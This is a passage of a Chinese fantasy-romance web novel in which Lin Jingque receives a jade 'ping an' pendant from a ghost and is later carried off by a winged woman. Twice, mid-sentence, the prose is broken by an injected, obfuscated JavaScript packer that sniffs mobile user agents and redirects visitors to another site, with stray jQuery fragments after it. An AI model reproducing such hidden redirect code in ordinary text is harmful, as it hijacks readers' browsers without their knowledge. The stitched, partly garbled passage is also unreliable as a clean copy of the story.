这个回答显然不能让林惊鹊满意:“你不是说,你同他除我以外,毫无关联吗?” 似乎是被问到了关键处,久离呼吸一滞。过了许久他才缓缓道:“现在没有关联。以前不是。” 他声音淡淡的:“我对信河的了解甚至不如伊恒,我也没想过要了解他。” “至于你在想什么。”他继续道,目光重新落回那片黑暗的海面:“绫玉骗你,那是他的问题。你被利用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712803|189305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,无可奈何。他们两个本来就不亲近,我对海妖同样知之甚少,但今日这一切,也算自食恶果。” “外界传言说绫落才是王储。可绫玉怀恨在心,为了抢夺位置,无所不用其极。” “说到底这只是他们内部的斗争。”他嘴角勾起一抹几不可见的讥诮,继续道:“可笑的权力,拿你做了借口。” “绫落的话,你不要往心里去,海妖最擅惑心,他所做的一切都只是为了自己的安宁。” 说道此处,他转头看向她,眼神认真:“若你心里实在过意不去,那就怪我吧。海妖族销声匿迹,是在我抢夺镇海冰晶之后。与你,没什么关系。” 林惊鹊没想到久离会一口气说这么多话,她扬了扬眉,收回视线时语气不自觉地抬高了几分:“谁说我在想这个了,本就跟我没关系,不用你说。” 话虽如此,她却忍不住勾起唇角。指腹轻轻摩挲着冰凉的宝石表面,声音也低了下去:“那……从今以后他该如何?我倒是不想再看见他了。” “他变成如今这样,也不全是他的过错。”她顿了顿,声音里带着些决绝:“既然他已屠尽了全族,就让他在痛苦中度过余生吧。” 妖怪的生命无穷无尽,就让他背负这痛苦,一直一直,用余生还债吧。 林惊鹊站起身,拍了拍衣角的细沙:“回去了。” 久离随之起身:“好。” 二人刚转过身,便对上一双在黑暗中闪着幽光的眼睛。 啊,把伊恒忘掉了。 林惊鹊赶紧扯了扯久离的衣袖,凑近他压低声音道:“你俩什么时候能和好……伊恒都快望眼欲穿了。” 久离没回答,只是反手扶住她的手臂,抬头朝伊恒的方向道:“快过来,带她回去。” “是!”伊恒音调异常高亢地从黑暗中钻了出来。 林惊鹊:“……” 三人一路往荒村走。村子本就不远,不多时便到了住处。 林惊鹊正要推门进屋,久离却突然收紧手臂,拦住了她。 “怎么了?”林惊鹊纳闷,她顺着久离警惕的视线望过去,在荒村边缘,靠近丛林的方向,似乎有道模糊的影子在来回晃动。 她眯起眼睛仔细辨认,可那影子若隐若现,在黑暗中徘徊不去。饶是她快把眼睛瞪瞎,也看不清那究竟是个什么东西。 久离沉声道:“伊恒,去看看。” 伊恒二话不说,立即伏低身姿,悄无声息地朝那影子靠近。然而还未等他接近,那影子似乎是察觉到了动静,倏然间如一缕青烟般消散不见。 林惊鹊:“他走了?” 久离摇头:“没,还在。是幽魂,没什么攻击性。” 他又侧头瞧一眼林惊鹊:“害怕么?怕我就将它赶走。” “怕?我就没怕过。只是……”林惊鹊有些纳闷:“幽魂?鬼吗?” “没错。妖怪死后,执念不散,魂聚为幽,徘徊不去。” 林惊鹊嘀咕:“这倒是跟人没区别……” “小心!” 她正这么想着,久离突然踏步上前,手中刀光尽显。林惊鹊以为又有什么妖物来袭,正欲探头瞧瞧又是哪路妖怪,可还不等她抬眼,一片透明人形竟带着周身雾霭穿透久离的身体,突至她眼前! 林惊鹊整个人后仰,她感觉浑身冷得彻骨,一道道女声从四面八方包围而来: “多熟悉的气息啊……是你吗?” 14. 第 14 章 那幽魂一晃而过,仿佛将一整个冬日的寒冰尽数灌进了林惊鹊体内。 她顿觉浑身发冷,口鼻如同被冰雪堵塞,每一次呼吸都变得极其困难。 连眼前也一阵发黑,她双腿一软险些跪下。 好在久离立即将她拥入怀中。林惊鹊伏在他臂弯里,止不住地发颤。 冷,太冷了。 她觉得周遭温度急剧下降,眼前漆黑一片,面色由不正常的红化作骇人的青紫。 “是幻觉。”久离低沉的声音在她耳畔响起,温热的手掌一下下抚过她紧绷的后背。 林惊鹊浑身脱力,他顺势单膝跪地,将她更紧地拥在怀中,不断安抚:“是幽魂的诡术。无论你看到什么,感受到什么,都是假的。深呼吸,跟着我,深呼吸……” 她死死攥着他的衣袖,久离能感觉到她的喘息正逐渐与他同步。 终于,在一个近乎窒息的抽气后,林惊鹊浑身剧烈一颤,像是刚从冰封的深渊中挣脱出来。 周身寒意渐渐退去,体温开始回升。直到确认她脸上的青紫完全消散,久离紧绷的表情才稍稍放松。 他附手贴上林惊鹊的额头,轻声询问:“感觉如何?” “死不了……” 林惊鹊歪头试图躲过他的手掌,抬眸对上那双仍带着些许担忧的眼眸,又沉默着接受了他的触碰。 她侧首望向一旁,入眼的是一双飘在半空的,半透明的脚。 视线往上,她才注意到方才那道人形竟是个女人。 她身形如玉,整个人几近透明,散发出点点微光。她脚不沾地飘在半空中,一层层薄薄的雾霭从她周身扩散开来。 “为何害妖!你们幽魂不是最不愿靠近活妖吗!!” 伊恒冲到林惊鹊身侧,怒目圆睁,气得头发都炸起来了。 久离也很不悦,周身的气息陡然变得凌厉,眼中溢出寒光,显然已动了杀意。可还不等他有何动作,林惊鹊按便按住他的肩膀,制止了他的意图。 女人满面愧疚,璞玉似的脸上染上几分红云,透明的手绞起透明的衣袖,她似乎想上前,但在久离那实在说不上友善的目光下,向后飘了几寸,声音轻若游丝: “对不起……我还以为……是它回来了。” 林惊鹊疑惑:“它?谁?” 她还在村子里时,听过不少男女之间惊天地泣鬼神的爱情故事。但无论双方多么相爱,结局大多不尽如人意,其中不乏双方一人痴情等待,死后化鬼仍念念不忘的。 只不过这化鬼的通常都是女子。 就如同眼前这位。 林惊鹊饶有兴致,却又隐隐担忧答案当真如此。 然而女人的答案出乎她的意料。 “我忘了……”她答。 伊恒更疑惑:“忘了?忘了还有什么好等的?” 女人摇头,声音里带着说不尽的悲戚: “冥冥之中,好似有谁曾在此地陪伴我许久。可某一日我醒来后,便独身飘游……我想不起来它是谁,可它似乎希望我在此处等它……我好怕,怕我若消散,它找不到我该如何是好。我总觉得它明日便会回来,可时光一晃百年,到底哪个明日……我也说不清楚。” “可今日不同,”她的声音里突然带上一丝希冀,连表情也平添几分喜悦,“我察觉到一股熟悉的气息,我想,或许是它来为我传信也说不定。姑娘,你是否见过我要等的那只妖?” 林惊鹊思索片刻,反问:“既然你已然忘了,为何不觉得自己等的便是我?” 女人摇头:“气息虽然相似,可与我记忆中并不相同。我能确定,不是你。” 伊恒无语:“都不记得了居然还可以确定,神了。” “你可以去打听一下这荒村中其他妖的去向,”林惊鹊建议道,“没准你等的妖就是这里其中一只。” 女人又摇了摇头:“自打我有记忆起,这村子便已无妖居住,年复一年更加荒凉。如你们所见,我已然是死了的,灵魂囚困在此,这百年间路过的其他妖对此也一无所知……” 她顿了顿,像是想起了什么,雾霭般的身形缓缓向前飘去,最终停在她方才消失的位置。她转过头来,招呼林惊鹊:“姑娘,可否请你来瞧瞧这个。” 好奇怪的人。林惊鹊坐直身子,却并未跟她上前,只是朝着伊恒递了个眼色。 伊恒会意,跟着女人走去,俯身拾起一物,递回到林惊鹊面前。 是一块玉佩。 约莫手掌大小,摸起来冰冰凉凉。 天色太暗,林惊鹊一时辨不清上面的纹路,可当手指细细抚过玉面时,她怔住了。 这触感,怎么像是……汉字? 方才濒死的寒意瞬间被抛到脑后,她倏地坐直身子,几乎要将整张脸都贴到玉佩上去。 恰在此时,一簇微弱的火光亮起,久离掌心托着一缕跳跃的灵火,将四周照亮。 林惊鹊顾不得道谢,借着光亮终于看清了玉佩上的刻字: 正面一个“平”,反面一个“安”。 平安。 这确确实实是人间的汉字。 林惊鹊只觉得心口狂跳,她将玉佩举到久离面前,声音带着难以抑制的颤抖:“你瞧瞧,这上面写了什么?” 久离垂眸细看,银灰色的眼眸在火光映照下格外专注。片刻后,他摇头:“看不清。” 她又唤来伊恒,可伊恒也蹙着眉说:“你少来,这上面哪有字。” 林惊鹊的呼吸越来越重。 她突然想起来,当初大柱那一行人,他们也是看不见的。 这是不是说明,只要是跟人有关的,就没法被妖物看见? 可这玉佩为何会在这里? 这里曾经,来过人? 这女人,曾经见过人? 她越想,脑子越乱,久离发现她的异常,轻声询问:“怎么了?” 林惊鹊没回应,转眸望向那女子,问道:“这玉佩从何而来?” 女子声音飘渺:“大抵……是它给我的吧。” “你可认得上面的字?” 女子迟疑片刻:“……字?什么字?” 果然。 那股难以抑制的兴奋再度从心底升起。林惊鹊攥紧掌中玉佩,缓缓站起身,目光灼灼地望向那道飘渺的身影: “不知姑娘……可否将这玉佩赠予我?” 未等对方回应,她又向前半步,语气恳切: “你既说我气息熟悉,这玉佩上的字又唯独我能辨认。这样可好,我定帮姑娘查明你在此苦等的缘由,这玉佩就先由我保管,等到真相大白后,定当原物奉还。” “若实在不行,”林惊鹊在身上摸了半天也没找到什么像样的东西,:“姑娘看中我身上何物,都可以拿去抵押。除去这枚戒指以外,衣裙,首饰,你想要什么我都给你。” 话已至此,幽魂静立未动,雾霭般的身影在夜风中轻轻摇晃,好似随时都会随风散去。良久,林惊鹊才听见一声极轻的叹息,仿佛落叶碎在风里。 “姑娘……你骗我也好,讲真也罢。我不要你身上任何东西,这玉佩你若想要就拿去吧。我困于此地,任何身外之物与我而言都无足轻重。我既无法离去,也无力追寻往昔。只求你……倘若当真能寻到它,请代我转告一句……” 她的身影愈发透明,可声音却清晰可闻:“我在此地等它。除此以外,别无他求。” 林惊鹊将玉佩握在掌心,指腹轻轻摩挲过上面的平安二字,道:“放心,我既答应了你,便一定会做到。” 女子得到此话俯身作揖:“如此,便谢过姑娘了。” - 女子得到承诺便隐进了附近树丛,林惊鹊掂着玉佩将其收入怀中,转身便对上了久离带着些许探究的目光。 “怎么这样看我?”她挑眉。 “没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712804|189305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么。”久离收回视线,语气平淡,“只是好奇,若你最终寻不到她要找的那位,今日的承诺又当如何?” 搞什么?林惊鹊有些奇怪,她总觉得久离不像是能问出这种话的人。 她不以为意:“继续找便是,哪有这么多顾虑。” 伊恒在一旁闷闷地插了话:“这次说好,见过信河殿下再去做这些有的没的。” “放心。”林惊鹊拍拍他肩膀:“不用你说,现在就算他不想见我,我也会去见他。谁拦着都没用。” “啊?”伊恒差点以为自己听错了:“此话怎讲?你之前不是还,不太情愿吗?” 在他看来,林惊鹊能跟他们去找信河完全是被迫的。而他和久离的任务就是看紧了她,别让她逮到机会开溜。 如今她不想溜,他反而有些手足无措了。 林惊鹊的表情整个舒展开,她歪头看看伊恒,又对久离粲然一笑,话却是说给前者听的: “你去问久离吧,这是我俩的秘密,不告诉你。” 久离面色未变,伊恒却站不住了: “什么!有什么是我不知道的!久离你告诉我啊!!” 林惊鹊吐了下舌头,转头把他俩连通吵闹声,一同关在门外。 可即便如此,她这一夜睡得仍旧说不上好。 兴许是被魇住了,也兴许是因为收了那块玉佩。睡梦之中,她只觉得周身冰冷,如同坠入冰窟。她冻得直打颤,想伸手拽紧被子,可无论如何都使不上力气。 恍惚间,似乎有一只手在触碰她的脸颊,动作轻柔缓慢,像是在触碰什么稀世珍宝。 渐渐地,她听见有人低语: “……你还活着。” “你竟然真的还活着……” “既然活着,为何叫我去送死……?” 林惊鹊猛地睁开了眼。 天还没亮,四周依旧漆黑一片。她适应了好一会,视线才逐渐清晰。 她转眸偏向身侧——一张女人的脸近在咫尺。 很白,白到在这深夜里依旧清晰可见。那双漆黑的眸子一眨不眨地盯着林惊鹊,眸中无光,像是要将她整个人都吸进去。 林惊鹊心中警铃大作,她想逃,可浑身僵硬,愣是没法动弹分毫。 她被迫只能注视着女人的脸。 女人又一次重复:“你真的还活着。” 她说着,捧起林惊鹊的脸,细细瞧过她脸上每一寸肌肤。 太近了。林惊鹊无法适应她如此执着的注视,女人似乎看穿了她的不情愿,起身将她抱在怀中。 林惊鹊的双脚骤然悬空,她惊觉自己竟像孩童般被完全笼罩在对方怀里。她的下巴抵在女人冰冷的颈窝,这怀抱竟不比那幽魂温暖多少。 女人又说了些什么,林惊鹊没能听清,她只觉得脑子里乱糟糟,几乎不能思考。 直到呼啦一声,如惊雷炸响。两道巨大黑翼自女人身后展开。木梁发出不堪重负的断裂声,墙体随之破碎,林惊鹊甚至能看见外面摇曳的树影。 这是哪来的破坏王…… 林惊鹊如此想着,又听见外面传来久离的厉喝声:“谁!” 女人却置若罔闻,羽翼轻振,将林惊鹊往怀里又按紧几分。她伏在林惊鹊耳畔,低声道: “我会带你回去。” “你逃不掉的……” 破碎瓦砾如雨落下,女人屈膝发力,竟抱着她冲破残破的屋顶,直入云霄。 夜风呼啸着灌入衣襟,林惊鹊在颠簸中勉强睁开眼,只见身下的荒村迅速缩小成模糊的点。 “?!”她看看地面,又抬头看看女人,情急之下心绪飞转,竟硬生生张开了口:“姑娘,你这是作何?” 她们仍在飞行,女人垂眸望向林惊鹊的脸,可神情已不再像方才一般温情,她哑着嗓子一字一顿: “我会让你后悔忘了我。” “林,惊,鹊。”